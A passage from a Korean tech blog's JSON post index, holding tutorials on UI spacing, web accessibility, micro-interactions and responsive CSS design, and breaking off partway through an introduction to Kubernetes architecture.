padding: 6px 12px; } /* 4+8, 8+4 */ .btn-md { padding: 8px 16px; } /* 8, 16 */ .btn-lg { padding: 12px 24px; } /* 12, 24 */ /* 카드 */ .card { padding: 16px; } /* 내부 여백 */ .card-header { padding: 16px 16px 12px; } .card-body { padding: 0 16px 16px; } 모바일에서 터치 타깃은 최소 44×44px 이상이 권장된다(Apple HIG 기준). 텍스트가 작아도 padding을 충분히 줘서 터치 영역을 확보한다.\n컴포넌트 외부 간격 (Margin) 컴포넌트 외부 여백은 레이아웃에서 다른 요소와의 관계를 정의한다. 하지만 컴포넌트에 margin을 직접 넣으면 재사용이 어려워진다.\n// 나쁜 예: 컴포넌트에 margin이 박힘 const Button = () =\u0026gt; ( \u0026lt;button style={{ marginTop: 16 }}\u0026gt;저장\u0026lt;/button\u0026gt; ) // 좋은 예: 컴포넌트는 margin 없이, 레이아웃 컴포넌트가 간격 담당 const Form = () =\u0026gt; ( \u0026lt;Stack gap={16}\u0026gt; \u0026lt;Input /\u0026gt; \u0026lt;Button\u0026gt;저장\u0026lt;/Button\u0026gt; \u0026lt;/Stack\u0026gt; ) 레이아웃 컴포넌트 간격을 직접 margin으로 주는 대신, 간격을 담당하는 레이아웃 컴포넌트를 만든다.\n// Stack: 세로 방향 간격 const Stack = ({ gap, children }) =\u0026gt; ( \u0026lt;div style={{ display: \u0026#39;flex\u0026#39;, flexDirection: \u0026#39;column\u0026#39;, gap }}\u0026gt; {children} \u0026lt;/div\u0026gt; ) // Inline: 가로 방향 간격 const Inline = ({ gap, align, children }) =\u0026gt; ( \u0026lt;div style={{ display: \u0026#39;flex\u0026#39;, alignItems: align, gap }}\u0026gt; {children} \u0026lt;/div\u0026gt; ) // Grid: 그리드 레이아웃 const Grid = ({ columns, gap, children }) =\u0026gt; ( \u0026lt;div style={{ display: \u0026#39;grid\u0026#39;, gridTemplateColumns: `repeat(${columns}, 1fr)`, gap }}\u0026gt; {children} \u0026lt;/div\u0026gt; ) // 사용 \u0026lt;Stack gap={24}\u0026gt; \u0026lt;Inline gap={8} align=\u0026#34;center\u0026#34;\u0026gt; \u0026lt;Icon name=\u0026#34;user\u0026#34; /\u0026gt; \u0026lt;Text\u0026gt;홍길동\u0026lt;/Text\u0026gt; \u0026lt;/Inline\u0026gt; \u0026lt;Grid columns={3} gap={16}\u0026gt; \u0026lt;Card /\u0026gt; \u0026lt;Card /\u0026gt; \u0026lt;Card /\u0026gt; \u0026lt;/Grid\u0026gt; \u0026lt;/Stack\u0026gt; 컴포넌트는 margin 없이 만들고, 배치는 레이아웃 컴포넌트가 담당한다. 같은 컴포넌트를 다른 간격으로 배치하고 싶을 때 컴포넌트를 바꾸지 않아도 된다.\n페이지 레이아웃 간격 페이지 전체에서 반복되는 간격 패턴도 정의해둔다.\n섹션 간격 (section-gap): 64px ~ 96px 컨텐츠 그룹 간격: 32px ~ 48px 관련 요소 간격: 16px ~ 24px 인라인 요소 간격: 8px ~ 12px 아이콘-텍스트 간격: 4px ~ 8px 페이지 좌우 여백 (mobile): 16px 페이지 좌우 여백 (tablet): 32px 페이지 좌우 여백 (desktop): 64px~ 최대 콘텐츠 너비: 1280px 트레이드오프 8pt 시스템은 규칙이지 법칙이 아니다. 아이콘과 텍스트 사이를 6px로 하면 조금 더 자연스러운 경우가 있다. 5px나 6px 같은 예외가 생겨도 대부분의 간격이 8의 배수이면 시스템이 무너지지 않는다.\n간격 토큰을 픽셀로 정의하면 고해상도(Retina) 디스플레이나 폰트 크기 설정 변경에 대응이 어렵다. rem 단위로 정의하면 사용자가 브라우저 폰트 크기를 바꿔도 비율이 유지된다.\n/* 픽셀 기반 */ --spacing-4: 16px; /* rem 기반 (접근성 측면에서 더 좋음) */ --spacing-4: 1rem; /* 기본 폰트 16px 기준 */ ","permalink":"https://charminggroot.github.io/posts/059-spacing-system/","summary":"간격이 일관되지 않으면 화면이 어수선해 보인다. 8pt 그리드 시스템은 모든 간격을 8의 배수로 정의해 시각적 일관성을 만든다. 간격이 정보 구조를 표현하는 방식, 컴포넌트 내부와 외부 간격의 차이, 그리고 레이아웃 컴포넌트로 간격을 관리하는 방법을 설명한다.","title":"059. 간격 시스템 — 8pt Grid와 공간으로 위계 만들기"},{"content":"접근성(Accessibility, a11y)은 시각, 청각, 운동, 인지 장애가 있는 사용자가 제품을 쓸 수 있게 하는 설계다. 하지만 접근성을 높이면 장애가 없는 사용자도 혜택을 받는다. 고대비 모드는 밝은 햇빛 아래서 화면을 보는 사람에게도 도움이 되고, 키보드 내비게이션은 파워 유저의 생산성을 높인다.\nWCAG(Web Content Accessibility Guidelines) 2.1이 국제 표준이다. A(최소), AA(표준), AAA(최고) 세 등급이 있고, 대부분의 서비스는 AA를 목표로 한다.\n색상 대비 시각 장애나 색맹이 있는 사용자는 대비가 낮은 텍스트를 읽기 어렵다. WCAG AA 기준:\n일반 텍스트 (18px 미만 또는 Bold 14px 미만): 대비율 4.5:1 이상 큰 텍스트 (18px 이상 또는 Bold 14px 이상): 대비율 3:1 이상 UI 컴포넌트, 그래픽: 대비율 3:1 이상 대비율은 밝기(luminance)의 비율이다. 흰 배경(1.0)에 순수 검정(0.0)은 21:1로 최고 대비다.\n# 흔히 실패하는 사례 배경: #FFFFFF (흰색) 텍스트: #9CA3AF (회색) → 대비율 2.85:1 ← AA 실패 배경: #FFFFFF 텍스트: #6B7280 (더 진한 회색) → 대비율 4.61:1 ← AA 통과 # 브랜드 컬러 사용 시 배경: #3B82F6 (파란색) 텍스트: #FFFFFF (흰색) → 대비율 3.07:1 ← 큰 텍스트만 AA 통과 텍스트: #1E3A8A (진한 파란색) → 대비율 4.73:1 ← AA 통과 Figma, Chrome DevTools, axe 같은 도구로 자동으로 확인할 수 있다. 디자인 단계에서 잡는 것이 개발 후 수정보다 훨씬 쉽다.\n색상만으로 정보를 전달하면 안 된다. 오류 상태를 빨간색으로만 표시하면 적녹 색맹 사용자는 알 수 없다. 아이콘이나 텍스트를 함께 쓴다.\n// 나쁜 예: 색상만으로 오류 표시 \u0026lt;Input style={{ borderColor: \u0026#39;red\u0026#39; }} /\u0026gt; // 좋은 예: 색상 + 아이콘 + 텍스트 \u0026lt;Input error style={{ borderColor: \u0026#39;var(--color-danger)\u0026#39; }} /\u0026gt; \u0026lt;span\u0026gt; \u0026lt;ErrorIcon aria-hidden=\u0026#34;true\u0026#34; /\u0026gt; 이메일 형식이 올바르지 않습니다 \u0026lt;/span\u0026gt; 키보드 내비게이션 마우스를 쓸 수 없는 사용자는 키보드만으로 모든 기능에 접근할 수 있어야 한다.\nTab 순서: Tab 키로 포커스가 이동하는 순서가 시각적 레이아웃과 일치해야 한다. CSS로 시각적 순서를 바꿔도 DOM 순서가 논리적이어야 한다.\n포커스 표시: 포커스된 요소가 시각적으로 명확히 보여야 한다. 브라우저 기본 outline을 outline: none으로 없애는 경우가 많은데, 반드시 대체 스타일을 제공해야 한다.\n/* 나쁜 예: 포커스 표시 제거 */ *:focus { outline: none; } /* 좋은 예: 대체 포커스 스타일 */ *:focus-visible { outline: 2px solid var(--color-primary); outline-offset: 2px; border-radius: 4px; } /* :focus-visible은 마우스 클릭 시에는 적용 안 되고 키보드 포커스 시에만 적용됨 */ 키보드 트랩: 모달이 열렸을 때 Tab이 모달 밖으로 나가면 안 된다. 모달 내부에서 Tab이 순환해야 한다. 반대로 모달을 닫으면 포커스가 모달을 열었던 버튼으로 돌아와야 한다.\nEscape 키: 모달, 드롭다운, 팝오버는 Escape로 닫혀야 한다.\nARIA HTML 기본 요소가 의미를 충분히 전달하지 못할 때 ARIA(Accessible Rich Internet Applications) 속성으로 보완한다.\n// 커스텀 버튼처럼 동작하는 div \u0026lt;div role=\u0026#34;button\u0026#34; tabIndex={0} aria-pressed={isActive} onClick={handleClick} onKeyDown={(e) =\u0026gt; e.key === \u0026#39;Enter\u0026#39; \u0026amp;\u0026amp; handleClick()} \u0026gt; 좋아요 \u0026lt;/div\u0026gt; // 아이콘만 있는 버튼 — 스크린 리더에게 의미 전달 \u0026lt;button aria-label=\u0026#34;검색\u0026#34;\u0026gt; \u0026lt;SearchIcon aria-hidden=\u0026#34;true\u0026#34; /\u0026gt; \u0026lt;/button\u0026gt; // 로딩 상태 알림 \u0026lt;button aria-busy={isLoading} disabled={isLoading}\u0026gt; {isLoading ? \u0026#39;저장 중...\u0026#39; : \u0026#39;저장\u0026#39;} \u0026lt;/button\u0026gt; // 오류 메시지 연결 \u0026lt;input id=\u0026#34;email\u0026#34; aria-describedby=\u0026#34;email-error\u0026#34; aria-invalid={hasError} /\u0026gt; \u0026lt;p id=\u0026#34;email-error\u0026#34; role=\u0026#34;alert\u0026#34;\u0026gt; 이메일 형식이 올바르지 않습니다 \u0026lt;/p\u0026gt; role=\u0026quot;alert\u0026quot;는 스크린 리더가 즉시 읽어준다. 폼 제출 오류나 토스트 알림에 적합하다.\nARIA 사용 원칙: 가능하면 HTML 기본 요소를 쓰는 것이 낫다. \u0026lt;button\u0026gt;이 \u0026lt;div role=\u0026quot;button\u0026quot;\u0026gt;보다 기본 동작(키보드 포커스, Enter/Space 작동)을 다 해준다. ARIA는 기본 HTML로 표현할 수 없는 경우에만 쓴다.\n실무에서 자주 놓치는 항목 이미지 alt 텍스트: 의미 있는 이미지는 내용을 설명하는 alt를 쓴다. 장식용 이미지는 alt=\u0026quot;\u0026quot;로 스크린 리더가 건너뛰게 한다.\n// 의미 있는 이미지 \u0026lt;img src=\u0026#34;profile.jpg\u0026#34; alt=\u0026#34;홍길동 프로필 사진\u0026#34; /\u0026gt; // 장식용 이미지 (건너뜀) \u0026lt;img src=\u0026#34;decoration.svg\u0026#34; alt=\u0026#34;\u0026#34; aria-hidden=\u0026#34;true\u0026#34; /\u0026gt; 폼 레이블: 모든 input에 label이 연결돼야 한다. placeholder만 쓰면 안 된다. placeholder는 타이핑을 시작하면 사라져 무엇을 입력하는지 잊게 만든다.\n// 나쁜 예 \u0026lt;input placeholder=\u0026#34;이메일을 입력하세요\u0026#34; /\u0026gt; // 좋은 예 \u0026lt;label htmlFor=\u0026#34;email\u0026#34;\u0026gt;이메일\u0026lt;/label\u0026gt; \u0026lt;input id=\u0026#34;email\u0026#34; placeholder=\u0026#34;example@email.com\u0026#34; /\u0026gt; 동적 콘텐츠 알림: 페이지 이동 없이 콘텐츠가 바뀌면 스크린 리더가 모른다. aria-live 영역으로 변경을 알린다.\n\u0026lt;div aria-live=\u0026#34;polite\u0026#34; aria-atomic=\u0026#34;true\u0026#34;\u0026gt; {statusMessage} {/* 장바구니에 추가됐습니다 등 */} \u0026lt;/div\u0026gt; 트레이드오프 접근성은 나중에 추가하기 어렵다. DOM 구조, 포커스 관리, 색상 시스템에 영향을 미치므로 처음부터 고려해야 한다. 시맨틱 HTML(\u0026lt;button\u0026gt;, \u0026lt;nav\u0026gt;, \u0026lt;main\u0026gt;, \u0026lt;h1\u0026gt;~\u0026lt;h6\u0026gt;)을 올바르게 쓰는 것만으로도 기본 접근성의 80%가 해결된다.\n자동화 도구(axe, Lighthouse)로 접근성 이슈를 찾을 수 있지만, 자동으로 발견할 수 있는 이슈는 전체의 30~40%에 불과하다. 실제 스크린 리더(VoiceOver, NVDA)로 직접 테스트하는 과정이 필요하다.\n","permalink":"https://charminggroot.github.io/posts/060-accessibility/","summary":"접근성은 장애가 있는 사용자를 위한 것이기도 하지만, 동시에 모든 사용자의 경험을 개선한다. 색상 대비 기준, 키보드만으로 이동 가능한 UI, 스크린 리더를 위한 ARIA 속성, 그리고 실무에서 가장 자주 놓치는 접근성 체크포인트를 설명한다.","title":"060. 접근성(a11y) — 색상 대비, 키보드 내비게이션, ARIA"},{"content":"버튼을 눌렀는데 아무 반응이 없으면 눌린 건지 모른다. 폼을 제출했는데 화면이 그대로면 처리 중인지 오류인지 모른다. 마이크로인터랙션은 \u0026ldquo;지금 무슨 일이 일어나고 있는지\u0026quot;를 사용자에게 즉각 알려주는 피드백 시스템이다.\n4단계 구조 Dan Saffer의 프레임워크다.\nTrigger (트리거): 인터랙션을 시작하는 것. 버튼 클릭, 폼 제출, 스크롤, 시간 경과.\nRules (규칙): 트리거 이후 무슨 일이 일어나는지. \u0026ldquo;버튼을 클릭하면 API를 호출한다.\u0026rdquo;\nFeedback (피드백): 사용자에게 무슨 일이 일어났는지 알리는 것. 로딩 스피너, 색상 변화, 애니메이션.\nLoops \u0026amp; Modes (루프): 인터랙션이 반복되거나 상태가 바뀌는 경우. 완료 후 원래 상태로 돌아오기, 토글 상태 유지.\n주요 패턴 버튼 상태 피드백 버튼은 네 가지 상태가 시각적으로 구분돼야 한다.\n/* 기본 */ .btn { background: var(--color-primary); transform: scale(1); transition: all 150ms ease; } /* hover: 살짝 밝아지거나 그림자 추가 */ .btn:hover { background: var(--color-primary-hover); box-shadow: 0 4px 12px rgba(0,0,0,0.15); } /* active: 눌리는 느낌 */ .btn:active { transform: scale(0.97); box-shadow: none; } /* disabled: 비활성화 */ .btn:disabled { opacity: 0.5; cursor: not-allowed; transform: none; } scale(0.97)이 미묘하지만 \u0026ldquo;눌림\u0026quot;을 전달하는 중요한 디테일이다.\n로딩 상태 비동기 작업은 진행 중임을 반드시 알려야 한다.\nconst Button = ({ loading, children, onClick }) =\u0026gt; ( \u0026lt;button disabled={loading} onClick={onClick} className={cn(styles.btn, loading \u0026amp;\u0026amp; styles.loading)} \u0026gt; {loading ? ( \u0026lt;\u0026gt; \u0026lt;Spinner className={styles.spinner} aria-hidden=\u0026#34;true\u0026#34; /\u0026gt; \u0026lt;span\u0026gt;처리 중...\u0026lt;/span\u0026gt; \u0026lt;/\u0026gt; ) : children} \u0026lt;/button\u0026gt; ) @keyframes spin { from { transform: rotate(0deg); } to { transform: rotate(360deg); } } .spinner { animation: spin 0.8s linear infinite; } 버튼 텍스트를 \u0026ldquo;저장 중\u0026hellip;\u0026ldquo;으로 바꾸면 스크린 리더도 상태 변화를 인지한다.\n성공/실패 피드백 // 저장 성공 시 체크마크로 전환 후 원래 상태로 복귀 const SaveButton = () =\u0026gt; { const [state, setState] = useState\u0026lt;\u0026#39;idle\u0026#39; | \u0026#39;loading\u0026#39; | \u0026#39;success\u0026#39;\u0026gt;(\u0026#39;idle\u0026#39;) const handleSave = async () =\u0026gt; { setState(\u0026#39;loading\u0026#39;) await save() setState(\u0026#39;success\u0026#39;) setTimeout(() =\u0026gt; setState(\u0026#39;idle\u0026#39;), 2000) // 2초 후 원래로 } return ( \u0026lt;button onClick={handleSave}\u0026gt; {state === \u0026#39;loading\u0026#39; \u0026amp;\u0026amp; \u0026lt;Spinner /\u0026gt;} {state === \u0026#39;success\u0026#39; \u0026amp;\u0026amp; \u0026lt;CheckIcon /\u0026gt;} {state === \u0026#39;idle\u0026#39; \u0026amp;\u0026amp; \u0026#39;저장\u0026#39;} {state === \u0026#39;loading\u0026#39; \u0026amp;\u0026amp; \u0026#39;저장 중...\u0026#39;} {state === \u0026#39;success\u0026#39; \u0026amp;\u0026amp; \u0026#39;저장됨\u0026#39;} \u0026lt;/button\u0026gt; ) } 오류 흔들림 (Shake) 잘못된 입력이나 오류 시 요소를 잠깐 흔들면 \u0026ldquo;뭔가 잘못됐다\u0026quot;는 신호를 직관적으로 전달한다.\n@keyframes shake { 0%, 100% { transform: translateX(0); } 20% { transform: translateX(-8px); } 40% { transform: translateX(8px); } 60% { transform: translateX(-6px); } 80% { transform: translateX(6px); } } .input--error { animation: shake 0.4s ease; border-color: var(--color-danger); } 페이지 트랜지션 페이지 이동이 뚝뚝 끊기면 어수선하다. 부드러운 트랜지션이 맥락의 연속성을 유지한다.\n// Framer Motion 예시 import { AnimatePresence, motion } from \u0026#39;framer-motion\u0026#39; const Page = ({ children }) =\u0026gt; ( \u0026lt;motion.div initial={{ opacity: 0, y: 8 }} animate={{ opacity: 1, y: 0 }} exit={{ opacity: 0, y: -8 }} transition={{ duration: 0.2, ease: \u0026#39;easeOut\u0026#39; }} \u0026gt; {children} \u0026lt;/motion.div\u0026gt; ) 이동 방향이 의미를 갖는다. 다음 단계로 가면 오른쪽에서 들어오고, 뒤로 가면 왼쪽에서 들어온다. 사용자가 공간적 위치를 파악하도록 돕는다.\n스켈레톤 로딩 콘텐츠가 로딩 중일 때 빈 화면 대신 콘텐츠의 형태를 흉내 낸 회색 블록을 보여준다. 실제 레이아웃 이동(Layout Shift)을 줄이고 기다리는 느낌을 줄인다.\n@keyframes shimmer { 0% { background-position: -200% 0; } 100% { background-position: 200% 0; } } .skeleton { background: linear-gradient( 90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75% ); background-size: 200% 100%; animation: shimmer 1.5s infinite; border-radius: 4px; } 애니메이션 원칙 목적이 있어야 한다. 애니메이션은 상태 변화를 명확히 하거나, 요소 간 관계를 보여주거나, 다음 동작을 안내하는 목적을 가져야 한다. 그냥 멋있어 보이려는 애니메이션은 오히려 방해가 된다.\n빠르게. UI 애니메이션은 대부분 100300ms가 적당하다. 500ms 이상은 느려 보인다. 입력 피드백(hover, active)은 100150ms, 콘텐츠 전환은 200300ms, 복잡한 레이아웃 변화는 300500ms.\neasing을 신경 쓴다. linear는 기계적으로 보인다. ease-out(빠르게 시작해 천천히 끝남)이 자연스러운 물리 운동을 모방한다. 들어오는 것은 ease-out, 나가는 것은 ease-in이 자연스럽다.\nprefers-reduced-motion 존중. 전정 장애나 간질이 있는 사용자는 과도한 모션이 불편하거나 위험할 수 있다.\n@media (prefers-reduced-motion: reduce) { *, *::before, *::after { animation-duration: 0.01ms !important; transition-duration: 0.01ms !important; } } 트레이드오프 애니메이션이 많으면 성능에 영향을 준다. transform과 opacity는 GPU 가속이 돼 성능이 좋다. width, height, padding, margin은 레이아웃을 다시 계산하므로 비싸다. 가능하면 transform으로 대체한다.\n/* 느림: 레이아웃 변경 */ .btn:hover { width: 120px; } /* 빠름: transform */ .btn:hover { transform: scaleX(1.1); } ","permalink":"https://charminggroot.github.io/posts/061-micro-interaction/","summary":"마이크로인터랙션은 사용자가 행동을 취했을 때 인터페이스가 반응하는 작은 순간이다. 버튼을 눌렀을 때 눌리는 느낌, 저장이 완료됐을 때 체크마크, 에러가 발생했을 때 흔들림. 이 작은 피드백들이 쌓여 제품의 완성도를 결정한다. 트리거, 규칙, 피드백, 루프 4단계 구조와 실제 구현 방법을 설명한다.","title":"061. 마이크로인터랙션 — 피드백, 애니메이션, 트랜지션"},{"content":"전 세계 웹 트래픽의 55% 이상이 모바일에서 발생한다. 데스크탑 기준으로 설계하고 모바일을 나중에 맞추는 방식은 거꾸로다. 반응형 디자인은 다양한 화면 크기에서 동등하게 좋은 경험을 제공하는 것이 목표다.\n모바일 우선 (Mobile First) 모바일 화면 기준으로 먼저 설계하고, 화면이 넓어질수록 레이아웃을 확장한다.\n/* 모바일 우선 (기본값 = 모바일) */ .container { padding: 16px; font-size: 16px; } /* 태블릿 이상 */ @media (min-width: 768px) { .container { padding: 32px; } } /* 데스크탑 이상 */ @media (min-width: 1024px) { .container { padding: 64px; max-width: 1280px; margin: 0 auto; } } 반대 방향(데스크탑 기준, 모바일에서 덮어쓰기)은 max-width 미디어 쿼리를 쓴다. 이 방식은 특수 케이스가 많아지고 CSS 구조가 복잡해진다.\n브레이크포인트 고정된 기기 크기에 맞추는 것보다 콘텐츠가 깨지는 지점에 브레이크포인트를 두는 것이 더 나은 접근이다. 하지만 실무에서는 팀 공통 기준이 있는 것이 편하다.\nxs: \u0026lt; 480px (소형 모바일) sm: 480px+ (모바일) md: 768px+ (태블릿) lg: 1024px+ (데스크탑) xl: 1280px+ (와이드 데스크탑) 2xl: 1536px+ (초대형 화면) Tailwind의 기본 브레이크포인트도 이와 유사하다. sm:, md:, lg:, xl:, 2xl: 프리픽스가 각 브레이크포인트 이상에서 적용된다.\n\u0026lt;!-- 모바일: 1열, 태블릿: 2열, 데스크탑: 3열 --\u0026gt; \u0026lt;div class=\u0026#34;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4\u0026#34;\u0026gt; \u0026lt;Card /\u0026gt; \u0026lt;Card /\u0026gt; \u0026lt;Card /\u0026gt; \u0026lt;/div\u0026gt; CSS Grid — 2차원 레이아웃 페이지 전체 레이아웃처럼 행과 열을 동시에 제어해야 할 때 강력하다.\n/* 12열 그리드 시스템 */ .grid { display: grid; grid-template-columns: repeat(12, 1fr); gap: 24px; } /* 모바일: 전체 너비 */ .sidebar { grid-column: span 12; } .main { grid-column: span 12; } /* 데스크탑: 사이드바 3열, 메인 9열 */ @media (min-width: 1024px) { .sidebar { grid-column: span 3; } .main { grid-column: span 9; } } Auto-fit과 minmax — 자동 반응형 브레이크포인트 없이 자동으로 열 수를 조정하는 패턴이다.\n.card-grid { display: grid; /* 최소 280px, 가능하면 더 넓게 — 공간에 따라 열 수 자동 결정 */ grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: 24px; } 컨테이너가 900px면 3열(280+280+280+여백), 600px면 2열, 400px면 1열로 자동 조정된다. 미디어 쿼리 없이 카드 그리드가 반응형이 된다.\nFlexbox — 1차원 레이아웃 단일 행 또는 열 방향 배치에 적합하다. 내비게이션, 버튼 그룹, 카드 내부 레이아웃에 많이 쓴다.\n/* 네비게이션: 모바일에서 세로, 데스크탑에서 가로 */ .nav { display: flex; flex-direction: column; gap: 8px; } @media (min-width: 768px) { .nav { flex-direction: row; align-items: center; gap: 24px; } } flex-wrap으로 유동적 배치 .tag-list { display: flex; flex-wrap: wrap; gap: 8px; } /* 태그가 많으면 자동으로 다음 줄로 넘어감 */ 텍스트와 이미지 반응형 유동 타이포그래피 058에서 다룬 clamp()로 화면 크기에 따라 자동으로 조절된다.\nh1 { font-size: clamp(1.75rem, 4vw, 3rem); } p { font-size: clamp(0.9rem, 2vw, 1rem); } 반응형 이미지 \u0026lt;!-- 뷰포트에 따라 다른 이미지 소스 --\u0026gt; \u0026lt;picture\u0026gt; \u0026lt;source media=\u0026#34;(min-width: 1024px)\u0026#34; srcset=\u0026#34;hero-large.webp\u0026#34; /\u0026gt; \u0026lt;source media=\u0026#34;(min-width: 768px)\u0026#34; srcset=\u0026#34;hero-medium.webp\u0026#34; /\u0026gt; \u0026lt;img src=\u0026#34;hero-small.webp\u0026#34; alt=\u0026#34;히어로 이미지\u0026#34; /\u0026gt; \u0026lt;/picture\u0026gt; \u0026lt;!-- 컨테이너 너비에 맞게 자동 조절 --\u0026gt; \u0026lt;img src=\u0026#34;photo.jpg\u0026#34; style=\u0026#34;width: 100%; height: auto;\u0026#34; alt=\u0026#34;...\u0026#34; /\u0026gt; 자주 발생하는 문제 고정 너비 요소 /* 모바일에서 화면 밖으로 삐져나옴 */ .box { width: 600px; } /* 반응형 */ .box { width: min(600px, 100%); } /* 또는 */ .box { max-width: 600px; width: 100%; } 터치 타깃 너무 작음 데스크탑에서는 8px짜리 링크를 클릭할 수 있지만, 모바일에서는 손가락으로 정확히 누르기 어렵다.\n/* 터치 타깃 최소 크기 보장 */ .small-link { display: inline-flex; align-items: center; min-height: 44px; padding: 8px 12px; } 가로 스크롤 발생 /* 전체 페이지 가로 스크롤 방지 */ html, body { overflow-x: hidden; } /* 컨테이너 너비 제한 */ * { box-sizing: border-box; } 뷰포트 설정 누락 \u0026lt;!-- HTML head에 반드시 포함 --\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1\u0026#34; /\u0026gt; 이 태그 없이는 모바일 브라우저가 페이지를 데스크탑 크기로 렌더링하고 축소해서 보여준다.\n트레이드오프 브레이크포인트가 너무 많으면 관리가 복잡해진다. 3~4개 브레이크포인트로 충분한 경우가 대부분이다. 각 브레이크포인트에서 레이아웃이 극적으로 달라지는 것보다, auto-fit이나 flex-wrap으로 자연스럽게 흘러가도록 설계하면 브레이크포인트가 줄어든다.\n반응형 디자인은 \u0026ldquo;더 작은 화면에 맞추기\u0026quot;가 아니라 \u0026ldquo;모든 화면에서 콘텐츠를 잘 전달하기\u0026quot;다. 모바일에서 데스크탑 레이아웃을 억지로 압축하는 것보다, 모바일에 맞는 정보 구조와 탐색 방식을 별도로 설계하는 것이 더 좋은 경험을 만든다.\n","permalink":"https://charminggroot.github.io/posts/062-responsive-design/","summary":"반응형 디자인은 하나의 코드베이스가 모바일부터 데스크탑까지 다양한 화면 크기에서 잘 동작하도록 하는 접근 방식이다. 모바일 우선 설계 원칙, 브레이크포인트 설정 방법, CSS Grid와 Flexbox로 유동적인 레이아웃을 만드는 방법, 그리고 자주 발생하는 문제들을 설명한다.","title":"062. 반응형 디자인 — 브레이크포인트, 유동 레이아웃, 모바일 우선"},{"content":"컨테이너 하나를 실행하는 것은 Docker로 충분하다. 그런데 수십 개의 서비스를 안정적으로 운영하면서, 트래픽에 따라 자동으로 늘리고 줄이고, 장애가 나면 스스로 회복하게 하려면 그 위의 플랫폼이 필요하다. Kubernetes(이하 k8s)는 컨테이너 오케스트레이션 플랫폼이다. 오케스트라 지휘자처럼 수많은 컨테이너가 어디서 실행될지, 몇 개가 실행될지, 장애 시 어떻게 대처할지를 조율한다.\n선언적 모델 — k8s를 관통하는 핵심 개념 k8s를 처음 접할 때 가장 먼저 이해해야 할 것이 선언적(declarative) 모델이다. 이것을 이해하면 나머지 개념들이 훨씬 자연스럽게 따라온다.\n명령적(imperative) 방식은 \u0026ldquo;파드를 3개 실행해라\u0026quot;처럼 행동을 직접 지시한다. 선언적 방식은 \u0026ldquo;파드는 항상 3개인 상태여야 한다\u0026quot;처럼 원하는 상태를 선언한다. k8s는 이 선언을 끊임없이 감시하면서 현실을 거기에 맞춘다. 파드가 하나 죽으면 k8s가 감지해 새로 만들고, 노드가 하나 꺼지면 그 위의 파드들을 다른 노드로 옮긴다. 운영자가 명령을 내리는 게 아니라 원하는 상태를 YAML로 선언하면 k8s가 알아서 그 상태를 유지한다.\n이 원하는 상태를 desired state, 실제 상태를 actual state라 한다. k8s의 모든 동작은 이 둘의 차이를 좁히려는 루프다.\ndesired state (YAML로 선언) ↕ 끊임없이 비교 actual state (지금 실제로 돌아가는 것) ↓ 차이가 생기면 k8s가 자동으로 바로잡음 클러스터 구조 k8s는 여러 서버(노드)를 묶어 클러스터(cluster) 로 다룬다. 노드는 역할에 따라 두 종류로 나뉜다.\n마스터 노드(control plane) 클러스터의 두뇌다. 직접 컨테이너를 실행하지 않고, 전체 상태를 관리하고 워커들에게 지시한다. 네 가지 핵심 컴포넌트로 이뤄진다.\nkube-apiserver는 클러스터의 모든 명령이 통과하는 관문이다. kubectl로 내리는 명령, 컨트롤러들의 상태 갱신, 워커 노드의 보고 — 전부 이 API Server를 거친다. REST API로 동작하므로 kubectl 없이 HTTP로 직접 호출해도 된다. k8s에서 \u0026ldquo;API를 호출한다\u0026quot;는 것은 곧 이 API Server에 요청을 보내는 것이다.\netcd는 클러스터의 모든 상태를 저장하는 분산 키-값 저장소다. 어떤 파드가 몇 개 있어야 하는지, 지금 실제로 어느 노드에 몇 개가 있는지, 어떤 서비스가 어떤 파드를 가리키는지 — 모든 것이 여기 있다. etcd가 날아가면 클러스터 전체 상태가 사라지므로, 프로덕션에서는 etcd 백업이 가장 중요한 운영 작업 중 하나다. etcd 자체도 분산 합의 알고리즘(Raft)으로 여러 노드에 복제해 고가용성을 확보한다.\nkube-scheduler는 새 파드를 어느 워커 노드에 배치할지 결정한다. CPU·메모리 여유, 노드 레이블, 파드의 affinity/anti-affinity 규칙, 테인트(taint)와 톨러레이션(toleration) 등을 종합해 가장 적합한 노드를 고른다. 파드를 직접 실행하지는 않고 \u0026ldquo;이 파드는 노드 B에 올려라\u0026quot;고 기록할 뿐이다. 실제 실행은 그 노드의 kubelet이 맡는다.\nkube-controller-manager는 desired state와 actual state의 차이를 감지해 바로잡는 여러 컨트롤러들의 묶음이다. 디플로이먼트 컨트롤러, 레플리카셋 컨트롤러, 노드 컨트롤러 등이 각자 담당하는 오브젝트를 감시한다. \u0026ldquo;파드가 3개여야 하는데 2개다 → 하나 더 만든다\u0026rdquo;, \u0026ldquo;노드가 응답이 없다 → 그 노드의 파드들을 재스케줄한다\u0026rdquo; 같은 일을 끊임없이 한다.\n워커 노드(worker node) 실제로 컨테이너가 실행되는 서버다. 각 워커에는 세 가지 컴포넌트가 있다.\nkubelet은 마스터의 지시를 받아 이 노드에서 컨테이너를 실행하고 상태를 API Server에 보고한다. API Server에 주기적으로 연락해 이 노드에서 실행해야 할 파드 목록을 받아오고, 컨테이너가 지시대로 살아있는지 감시한다. 노드의 현장 반장이다.\nkube-proxy는 파드로 들어오는 네트워크 트래픽을 올바른 파드로 라우팅한다. Service 오브젝트가 정의하는 가상 IP로 들어온 요청을 실제 파드 IP로 연결한다.\n컨테이너 런타임은 실제로 컨테이너를 시작하고 멈추는 엔진이다. 예전에는 Docker가 쓰였지만 지금은 containerd가 표준이다. kubelet이 \u0026ldquo;이 이미지로 컨테이너를 실행해라\u0026quot;고 지시하면 런타임이 이를 수행한다.\n전체 흐름 [사용자] kubectl apply -f deployment.yaml ↓ [API Server] → etcd에 desired state 저장 ↓ [Controller Manager] desired ≠ actual 감지 ↓ [Scheduler] 어느 노드에 올릴지 결정 ↓ [kubelet (워커 노드)] 컨테이너 실행 ↓ [컨테이너 런타임] 실제 컨테이너 시작 k8s API — 모든 것은 오브젝트다 k8s의 모든 구성 요소 — 파드, 디플로이먼트, 서비스, ConfigMap, 심지어 노드 자체까지 — 는 API 오브젝트다. YAML로 정의해 API Server에 제출하면 etcd에 저장되고, 컨트롤러가 그 선언을 현실로 만든다.\n모든 오브젝트는 공통 구조를 갖는다.\napiVersion: apps/v1 # 어떤 API 그룹의 어떤 버전인가 kind: Deployment # 오브젝트 종류 metadata: name: my-app # 이름 (같은 네임스페이스 안에서 유일해야 함) namespace: production 